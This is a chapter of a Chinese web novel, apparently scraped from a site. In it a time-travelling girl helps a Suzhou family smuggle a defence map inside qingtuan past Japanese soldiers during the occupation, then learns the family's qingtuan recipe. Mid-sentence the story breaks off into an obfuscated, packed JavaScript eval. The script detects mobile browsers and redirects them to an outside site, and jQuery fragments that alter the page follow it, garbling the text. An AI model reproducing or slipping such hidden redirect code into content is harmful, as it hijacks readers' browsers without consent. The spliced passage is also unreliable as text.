26. 无人知晓的我

作品:《四时秦味录[美食]

    秦时雨运了一口气,紧咬着的后槽牙在嘴巴里打架,浑身哆哆嗦嗦地看着眼前的刺刀,手脚冰凉地缓缓站起身,就在她刚站起来的时候,只听到“哎呦”一声,她霍然歪倒,顺势将怀里的,极易被其他人看出来的青团往木材堆里塞进去几分。


    “太君,”门外的秦大川听到厨房里的声响,微微佝偻着身子走进来,给为首的军官塞了几块大洋,“她是我们家的一个远房亲戚,小小年纪就要出来干活,一个刚从乡下来的丫头片子,人也是笨手笨脚的,麻烦您高抬贵手,别和她计较。”


    军官收下秦大川的“讨好”,捏着一枚大洋吹了口气,放到耳朵旁听着银元的嗡鸣声,悦耳动听。军官满意地用刺刀挑起秦时雨的下巴,打量着她面黄肌瘦的模样。


    军官视线顺着秦时雨的脸下移,看到了她刚才摔倒在木材堆里,有些渗血的膝盖,有些怀疑地问她,“你的伤是那里来的?”


    “被,被一只疯狗咬的,”秦时雨努力挤出两滴眼泪,说话时吞吞吐吐,还掺杂着姑苏一带的方言土话,“我娘说了,这样的伤口得用灶灰止血,我,我没什么大事的。”


    秦佩春在厨房门口处听见秦时雨的回答,心有灵犀一点通,秒懂秦时雨要干什么,她绕着前面的日本兵走,来到秦时雨身边,蹲下一把撕开她的裤腿,膝盖上的伤口被秦佩春的动作拉扯,伤口流血得更加严重,“这个小姑娘在说谎,太君您看,她有疯狗病,这个伤口都已经血肉模糊了,怎么会还不严重!”


    秦佩春转头对秦大川大喊大叫,“大哥,你快去拿一把烙铁来烫伤口止血,这个小姑娘就是染上了疯狗病,我亲眼看见她被狗咬伤的,皇军们要是被传染就不好啦!”


    “八嘎,”军官和他身后的日本兵退后几步,用手捂住口鼻,一脸嫌弃地看向秦时雨的伤口,“秦师傅,还不叫这个人滚开,离我们远远的。”


    秦佩春闻言,面露厌恶的上前踹了秦时雨一脚,帮腔道,“我最讨厌你们这种年纪轻轻,为了工钱就谎话连篇的帮工,还我们家八竿子打不着的远房亲戚,以为我们主家都是好糊弄的。”


    秦时雨被秦佩春踹倒在材堆上,低着头嘴里含糊不清的说着小姐饶命,我再也不敢了。秦时雨灰头土脸地弯着腰,连滚带爬的离开厨房,眨眼间就消失在日本兵们的视线里。


    处理好秦时雨,趁着这个空档,秦大川满脸堆笑对军官道,“太君要不要尝尝我们家新做的青团,明天就是寒食节,节日规定不能开明火,刚好我们家有时间,做青团来当明天的节气点心。”


    秦大川掀开灶上的笼屉,蒸汽瞬间蒸腾冲天,白茫茫的水蒸气弥漫在灶台周围。


    蒸汽腾起的刹那,面对着日本兵的秦佩春把握住一闪而逝的机会,背在身后的手往灶台下一按,灶台上那笼要命的青团,已经神不知鬼不觉地换成了一笼普普通通的青团。


    军官没有客气,伸手扇了扇眼前的雾气,等雾气消散的差不多后,直接走上前拿起一个青团,有些狐疑地掰开它,青团甜腻的豆沙馅流心而出,在被掰开的须臾之间,沾满了军官白色的手套。


    军官皱着眉,看着自己的白色手套,却没有停下自己手上的动作,每一个蒸笼里的青团都一个个被掰开来,里面的豆沙馅料一览无遗。


    “搜!”


    军官检查完蒸笼里青团,指挥着身后的日本兵翻箱倒柜搜查整个厨房。


    一把把冰冷无情的刺刀捅进米袋,挑翻装着蔬菜的篮子,各种各样的调味料泼洒在案板边,日本兵犹如蝗虫过境的搜查完毕后,一个士兵对着为首的军官耳语了几句。


    军官挥挥手,让士兵退下,“满脸歉意”的对着秦大川说道:“打扰你们了秦师傅,这次我们就先回队里回复,我的手下动作太无理,给你添麻烦了。”


    “哪里哪里,感谢您的手下留情,这些东西一会儿让人来收拾就好,还要麻烦您来这一趟,辛苦辛苦。”秦大川听懂了军官话的含义,有些谄媚地点头哈腰上前,再给这个军官递上几枚大洋。


    “收队。”军官很满意秦大川的知情识趣,纠集自己带来的日本兵们集合后,直接带队离开了这里。


    人声渐渐远去,躲在一段院墙后面的秦时雨,才发现刚才太过紧张,舌尖都被自己咬破。


    秦佩春打开门,观察四周,等都确定这些日本兵走后,闩上门后,返身回去,扶着秦时雨回到厨房,秦时雨主动上交怀里的布防图和“带馅的青团”,“秦小姐,给。”


    秦佩春接过布防图和青团,递给秦大川后,赶忙拉着秦时雨坐下,面带愧疚道,“你膝盖上的伤口又裂开了,这样可好不了,你快坐下来,我给你再处理一下伤口,刚才真是对不住,我踢你的那一脚还疼吗?”


    秦时雨摆摆手,满脸浑不在意的样子,“只是演戏而已,您刚才演技真好啊,我们也是配合十分得默契,我不在意的,能帮大家保住布防图就行。”


    秦佩春又一次帮秦时雨处理伤口,卷起她的裤腿,有些调笑着说,“小姑娘,你刚才可是抖得跟筛糠似的,你怕吗?”


    “怕,我长这么大第一次,遇到这样生死攸关的情况,但也不怕,我能帮到你们就……”秦时雨顿了顿,想起来什么,就没有说接下来还没说出口的话。


    “什么?”秦佩春没听清秦时雨的话,追问她。


    “没什么大事,对了,灶台上的这笼青团被毁了,大家还要再做一次吗?”秦时雨转移话题,疑惑地问秦佩春。


    “我们是要再做一次,下面的青团都脏了。”秦大川回答秦时雨的问话,反问她,“你也来和我们一起做青团吗?”


    “我?可以吗,这不是秦家青团的家传绝学,我一个外人也可以学习?”秦时雨有些惊喜自己被秦大川认可接受,但看着他们不对外人设防的样子又有些担忧。


    曾祖父秦大川怎么能这么容易就相信一个外人,在这个危机四伏的时代,这可不是什么好事情。


    “小姑娘,”秦佩春给秦时雨的膝盖上的伤口,用绷带打了一个完美的蝴蝶结,满意的点点头,“你知道为什么让你看我们家的青团制作过程吗?”


    秦时雨面露不解,对秦佩春摇头。


    “因为活不过今年春天的人,我们没必要费心思去灭口。”秦大川往灶膛里扔进一把木材,熊熊燃烧的火光一下子照亮着他神情严肃的脸庞。


    一股寒意爬上脊背,秦时雨终于注意到,自从搜查开始,秦大川腰间一直别着那把祖传桑刀。


    “大哥~你别吓着人家小姑娘啦。”秦佩春瞪了秦大川一眼,望向秦时雨时,笑容可掬,“其实秦家青团的具体做法我们从来都不会藏的,即使是松年楼的帮工都可以学,秦家青团的秘诀,算是报答你帮了我们这个大忙,等以后天下太平,你也能有一门手艺来谋生。”


    “好了,接下来看好啦!”秦大川打断秦佩春她们谈论的话题,开始做起真正的秦家青团。


    秦时雨屏住呼吸,眼睛一眨不眨地看着秦大川手上的动作,生怕漏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918244|175034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下哪一步重要步骤。


    秦大川也不藏私,在秦时雨面前用石灰水混合好艾草汁液,逐步给她讲解,“这样做,青团的皮子才够韧,就算火候掌握不好也能够蒸不透,也能放的久。”


    揉面时,秦大川每一步都按着秦家三揉三醒法揉好面团,在他炒制豆沙馅时,加入些许粗盐,给秦时雨解释这一步的作用,“这个加粗盐就要看你以后要用青团来干什么,可加可不加,秦家青团加粗盐是为了能盖住其它东西的气味。”


    炒好馅料,秦大川手里的青团用秦家多褶两挑的法子,不过一眨眼,一个饱满又生动的青团就在他的手里诞生。


    “接下来就是做青团最为重要的环节。”秦佩春在一旁也包好手里的青团,给秦时雨解释火候的重要性。


    “没错,火候是青团最关键的一步。”秦大川将笼屉架在大锅里,下面的水已经沸腾,上面的笼屉在蒸汽中,好像颜色也变得加深了些,在蒸笼和大锅之间,又加了一个竹子编织而成的竹篾,“蒸汽绕个弯,青团熟透能不破。”


    秦大川悉心教导秦时雨每一步青团的步骤,生怕她学不明白。


    等蒸笼飘起绿色的雾气,秦大川熄灭柴火,“这就是青团好了,之所以会飘绿色的雾气,就是第二层竹篾的水汽分隔,用的竹篾片。”


    秦时雨一步步跟着秦大川的步骤,一瞬间她有些茅塞顿开,终于明白了为什么系统要她来见证这一切,秦家青团,每个细节都是活着的历史意义。


    “尝尝看,新鲜刚出炉的青团最好吃。”秦佩春取了个青团,用空白油纸包着,递给秦时雨。


    秦时雨道谢后接过,咬了一口。


    青团糯香和艾草的微微苦涩相互交织融合,咬一口青团,糯米皮裹着甜而不腻的豆沙馅,细腻绵软的豆沙馅,让甜蜜的味道在口腔里和艾草香味相互辉映,你不让我,我不让你,挨挨挤挤。这种生机勃勃的感觉,让满口都充斥着春天的味道,只是一口,秦时雨宛若刚刚和春天撞了个满怀。


    这已经不是青团的味道,而是青团包裹住一整个春天。


    秦时雨一脸回味的感受着嘴巴里绿意怏然的春天,有些发愁,不知道自己有没有机会做出这样的青团,难道这样的美味,要随着时间的流逝,就要消失在历史的长河里了吗?


    深夜来临,夜色如墨。


    整个姑苏城都已经进入凌晨的宵禁时间,只有几个队伍在街道上整齐划一的巡逻,搜查着违抗他们颁布宵禁令的华国人。


    秦时雨躲在巷口的阴影里,注视着前方的秦佩春,她正和几个年轻人低声交谈着些什么。


    “布防图必须天亮之前送往城西的码头,小日本已经开始全城搜捕,千万要小心。”秦佩春声音紧绷,面色肃穆。


    一个戴眼镜的青年点点头,接过秦佩春手里的篮子,“情报都藏好在青团里,我们会小心谨慎的,小妹妹,我们也快离开这里,别被巡逻队伍发现。”


    秦时雨离得很远,默默地为他们几个人的接头望风。


    系统弹出的光屏提醒着她这次的任务内容:


    【宿主任务已进入下一个阶段:确保情报青团被安全送出,


    条件1.情报必须安全送出;


    条件2.秦家人必须活着;


    条件3.你的存在,不可暴露于人前。


    系统警告:这本就是一场无人知晓的任务。】


    眼看几人又有新的动作,秦时雨深吸了一口气,悄无声息地跟了上去。